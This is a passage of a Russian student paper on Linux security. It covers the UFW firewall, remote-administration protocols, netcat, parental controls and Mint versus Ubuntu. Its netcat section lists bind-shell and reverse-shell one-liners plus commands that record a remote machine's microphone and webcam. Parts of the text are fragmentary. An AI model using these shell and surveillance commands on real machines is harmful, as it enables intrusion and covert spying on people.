Файл /etc/ufw/sysctl.conf задает некоторые системные переменные (аналог общесистемного /etc/sysctl.conf). Например, чтобы разрешить перенаправление пакетов, снимается комментарий со строки/ipv4/ip_forward=1

В состав Linux Mint включен и графический интерфейс UFW - GUFW

Рисунок 3.1 - GUFW

Для запуска GUFW используется команда:gufw

Первым делом следует изменить статус работы фаервола на «Включен». Но следует учесть: на дефолтных настройках входящая информация из интернета запрещена, а исходящая проверяется. Таким образом, весь трафик станет напоминать улицу с односторонним движением.

Также можно создать развернутые правила, например, для специфических задач. Следует обратить внимание на первую из трех вкладок «Правила». В ней задаются правила всестороннего интернет движения для приложений вроде torrent и Skype. К сожалению, не все трудности преодолеваются путем фиксации распоряжений для списка предустановленных приложений. Помимо вышеупомянутого, можно оставить ценные целевые указания целому списку хостов и IP адресов, а также направлений соединений.

Если после всех путешествий по настройкам безопасности системы через фаервол, можно сделать вывод, что все возможное уже сделано, останется последний сервисный штрих - прописать UFW в автозагрузку. Нужно запустить в терминале команду:update-rc.d ufw defaults

.2 Удаленное управление

Потребность в удаленном управлении возникла с момента появления сети и систем, которые необходимо было администрировать на расстоянии.

Существует несколько очень распространенных протоколов удаленного администрирования, позволяющих управлять системой посредством сети. Самым старым и самым распространенным, но в то же время самым небезопасным, является протокол Telnet. Это самый первый протокол удаленного взаимодействия, появившийся на заре развития вычислительных сетей, когда проблеме безопасности при передаче информации не уделялось практически никакого внимания. При передаче информации по протоколу Telnet все данные передаются в открытом незашифрованном виде, в том числе имена и пароли пользователей. Любой, даже малоопытный в компьютерных делах, пользователь, имея программу под общим названием network sniffer (с англ. «сетевой анализатор пакетов»), может получить имя и пароль при передаче их по сети.

Помимо протокола Telnet в UNIX-системах существует целое семейство так называемых r-программ. К ним относятся rsh, rlogin (начальная буква r трактуется как remote) и другие, позволяющие производить различные операции, связанные с удаленным администрированием. Однако уровень безопасности при использовании r-программ, как и уровень безопасности при использовании Telnet, также оставляет желать лучшего.

Существует еще один протокол для управления некоторыми параметрами системы и получения информации о ней. Это протокол SNMP (Simple Network Management Protocol). Протокол SNMP имеет ограниченный спектр возможностей и не лишен тех же недостатков в плане безопасности, что и протокол Telnet.

Эти протоколы могут служить хорошим решением для таких локальных сетей, где требования, предъявляемые к безопасности, являются не очень высокими. Однако, при передаче данных по такой сети, как Интернет, где пакет, прежде чем достичь адресата, проходит несколько небезопасных узлов, их использование может служить потенциальной угрозой безопасности и основной причиной успешного проникновения в систему.

На сегодняшний день одним из самых распространенных и безопасных протоколов удаленного администрирования, использующих шифрование при передаче данных, является протокол SSH (Secure SHell). В протоколе SSH для организации безопасного доступа применяется процедура аутентификации с использованием асимметричного шифрования с открытым ключом. Это обеспечивает более высокую безопасность, чем при использовании симметричного шифрования, хотя и порождает дополнительную вычислительную нагрузку. При последующем обмене данными применяется уже симметричное шифрование, более экономичное в смысле затрат процессорного времени. Также SSH поддерживает возможность работы с уже упомянутым протоколом Telnet, безопасную работу по протоколу графического уровня X11, благодаря возможности перенаправления соответствующих данных по надежным SSH-каналам, предоставляет безопасную замену многим r-программам UNIX, с которыми традиционно связаны проблемы обеспечения безопасности.

.3 Netcat

- это сетевой инструмент, замену которому вряд ли можно найти. Обладая предельной простотой, он невероятно богат на функционал, а диапазон его применения столь широк, что в народе netcat окрестили «Швейцарским армейским ножом».

Утилита netcat по сути не делает ничего, кроме копирования данных в сетевой порт и из него, но при этом с ее помощью можно:

. Передавать файлы (первую команду выполняем на принимающей машине, вторую - на передающей:-l 31334 > filename nc 172.16.69.143 31334 < filename

. Удаленно читать логи (первая - сервер, вторая - клиент):

nc -f /var/log/messages | nc -l 31334 nc 172.16.69.143 31334

3. Использовать вместо telnet (первая - telnet-сервер, вторая - клиент):

nc -l -p 31334 -e /bin/sh nc 172.16.69.143 31334

4. Сканировать на открытые порты:-z execbit.ru 1-1024

. Осуществлять фингерпринт сервисов на основе баннеров:

echo "QUIT" | nc execbit.ru 1-1024

6. Организовывать обратный шелл (первая - клиент, вторая - сервер, однако шелл откроется от сервера к клиенту):

nc -e /bin/sh 172.16.69.143 31334 nc -l -p 31334

7. Делать микрофонную запись с удаленной машины (сервер, клиент):

arecord -f dat -t raw | nc -l 31337 nc 172.16.69.143 31337 | oggenc - -r -o nc.ogg

8. Получать снимки с web-камеры удаленной машины (сервер, клиент):

while [ 1 ]; do streamer -o /tmp/photo.jpeg; nc -l 31337 < /tmp/photo.jpeg; done nc localhost 31337 > photo.jpeg

Однако важно понимать, что существует несколько версий Netcat, поведение которых может отличаться. Экземпляр, поставляемый с дистрибутивами Linux, - это оригинал, доживший до наших дней. Все пять приведенных примеров он отработает без проблем. Версия под названием GNU Netcat не поддерживает опции -e, поэтому второй и пятый примеры она не воспримет.

Особого внимания заслуживает Netcat, распространяемый вместе с BSD-системами, опция -e в нем есть, но предназначена она для шифрования входящего и исходящего трафика методом IPSec ESP:

nc -e 'in ipsec esp/transport//require' -e 'out ipsec esp/transport//require' \172.16.69.143 31334

Кроме того, BSD Netcat способен подключаться к удаленной машине через прокси:-x172.16.64.1:8080 -Xconnect 172.16.69.143 31334

В этом примере прокси находится по адресу 172.16.64.1:8080, а флаг -Xconnect говорит о том, что он работает с протоколом HTTP. Также поддерживаются SOCKS версий 4 и 5, но о них следует информировать netcat через флаг -X4 или -X5.

Сам Netcat легко использовать в качестве прокси или редиректора портов, но в этом случае его лучше связать с демоном inetd:

echo 'redirect-2525-to-25 2525/tcp' >> /etc/services echo 'redirect-2525-to-25 stream tcp nowait nobody /usr/bin/nc nc -w 2 127.0.0.1 25' \ >> /etc/inetd.conf

killall -HUP inetd

Теперь весь трафик, пришедший на порт 2525, будет перенаправляться на стандартный 25-й SMTP-порт. Таким же образом мы можем завернуть трафик с любого порта на другой порт/машину, просто видоизменив первые две команды.

Кстати, пользователи дистрибутивов Linux могут вообще не заморачиваться с Netcat: ведь демон xinetd, ставший стандартом в Linux-системах, сам умеет перенаправлять сетевой трафик.

.4 Программное средство контроля

Чаще всего в этом сегменте используются возможности антивирусов. Их linux-версии, как правило, лишены таких модулей, поэтому не способствуют решению проблемы. Если на чем-то стоит акцентировать внимание, то подойдут специальные программы, такие как Nanny.

По сути, программа объединяет в себе стандартный механизм формирования правил работы за компьютером для ребенка. Они касаются не только использования интернета, но и общего времени пребывания. Предоставлена возможность составлять расписание по дням недели. Указывать конкретные часы для каждого из них. Все это повышает эффективность планирования досуга. При разумном подходе есть все шансы максимально сбалансировать нагрузку.

Рисунок 3.2 - Консоль администратора Nanny

Приложение устанавливается из собственного репозитория.

sudo add-apt-repository ppa:boamaod/nanny-testapt-get updateapt-get install nanny

Для первого запуска и настройки нужно подтверждения root-прав. Основное окно разделено на 2 части. В первой находятся пользователи, во второй расположены инструменты управления активностью для каждого из них.

3.5 Аудит сети при помощи Zenmap <#"784678.files/image018.jpg"> <#"784678.files/image019.jpg"> <#"784678.files/image020.jpg">

Рисунок 4.1 - Unity

«Cinnamon» - обладает меню похожим на «Пуск» в Windows, запустить которое можно с панели задач. Поиск приложений в этом случае гораздо проще.

Рисунок 4.2 - Cinnamon

Обе оболочки обладают как определенным удобством, так и теми нюансами, которые могут замедлить работу начинающего пользователя. С Ubuntu все просто и понятно до тех пор, пока пользователь не доберется к Главному меню (Dash). В свою очередь меню Mint выглядит гораздо более дружелюбно. В любом случае вы всегда сможете найти искомые файл или приложение, главное знать, что искать.

Хоть Ubuntu теперь работает быстрее, чем несколько версий назад, но Linux Mint не собирается уступать первенство. Этот дистрибутив всегда отличался скоростью даже на маломощном железе (как минимум по сравнению с Ubuntu). Если пользователь желает получить от старого компьютера большую скорость и лучшую производительность, то для этих целей лучше выбрать Mint.прекрасен тем, что полностью открыт для изменений. ОС позволяет настроить каждый сантиметр на компьютере, начиная от ярлыков и заканчивая работой окон. В случае с Ubuntu это осталось в прошлом. Дистрибутив не очень гибкий, особенно в сравнении с Mint.

Преимущество Linux Mint - в привычной рабочей среде, в традиционности интерфейса, главным образом. Причём, и Cinnamon, и особенно MATE более шустрые и легковесные, нежели KDE, где интерфейс ничуть не менее традиционен.

Всё остальное в «Мяте» весьма часто бывает слепленным воедино, к сожалению, гораздо более криво, нежели в Ubuntu.

Еще пару лет назад Ubuntu был самым популярным дистрибутивом, но после перехода на Unity, пользователей поубавилось в пользу Linux Mint. По версии Distrowatch <http://distrowatch.com/dwres.php?resource=popularity> в топе 10 самых популярных дистрибутивов Linux Mint уже второй год подряд занимает первое место.


ВЫВОДЫ

Будучи свободным, Linux завоевал огромное количество пользователей. Потому что он доступен. В одном дистрибутиве Linux тысячи программ для построения любой системы - как домашней, так и серверной. Они продаются немногим дороже стоимости носителя или их можно свободно скачать в Интернете. Даже пиратские диски с таким же количеством коммерческих программ обойдутся дороже.

Создание любого числа копий с одного дистрибутива совершенно правомерно. Отсюда выгода для крупных предприятий: не нужно приобретать лицензию на ПО на каждое рабочее место, все расходы фактически сводятся к расходам на обслуживание (администрирование).

Открытый исходный текст даёт возможность любому пользователю и специалисту обнаружить ошибку и исправить её. Чем больше пользователей у открытой программы и чем дольше она используется, тем надёжнее и стабильнее становится работа системы. Linux и системообразующие утилиты к нему много лет используются миллионами специалистов.

Прозрачность. В Linux полностью видны все внутренности: все компоненты системы и их взаимодействие не только доступны для изучения, но и подробно и полно задокументированы. Это значит, что разобраться в причинах любой возникшей проблемы может не только уже готовый специалист по Linux, но любой, кто внимательно прочтёт документацию и проанализирует ситуацию. Поэтому ответы на 99% вопросов по Linux тут же обнаруживаются в Интернете. Остальные вопросы можно задать прямо разработчикам - и они будут рады ответить (это ведь их детище, и они хотят его улучшить). Так и становятся специалистами по Linux.

Вообще то слово, которое определяет особенности системы - это устойчивость, и этим она особенно хороша. Она позволяет решать множество различных задач наиболее эффективными и рациональными методами, позволяя при этом экономить время и средства. Для работы с ней не нужно использовать антивирусы, она сама по себе очень надежна. Система отражает как возможные атаки извне, так и вредоносные вирусы. Это только некоторые преимущества Linux, на самом деле их намного больше. Но чтобы о них узнать, Linux нужно установить <http://prostolinux.ru/kak-ustanovit-linux/> и освоить.

СПИСОК ИСТОЧНИКОВ

Linux Mint на 100 %. Сергей Яремчук, Издательство «Питер», Санкт-Петербург, 2011 год.

Интернет-источник <http://mintlinux.ru>

Интернет-источник http://prostolinux.ru

Интернет-источник http://shkola-linux.ru

Интернет-источник <http://moylinux.ru>

Интернет-источник linuxmint.com

Интернет-источник <http://mintgeek.ru>

Похожие работы на - Исследование механизмов безопасности в Linux подобных ОС

 

Не нашли материал для своей работы?
Поможем написать уникальную работу
Без плагиата!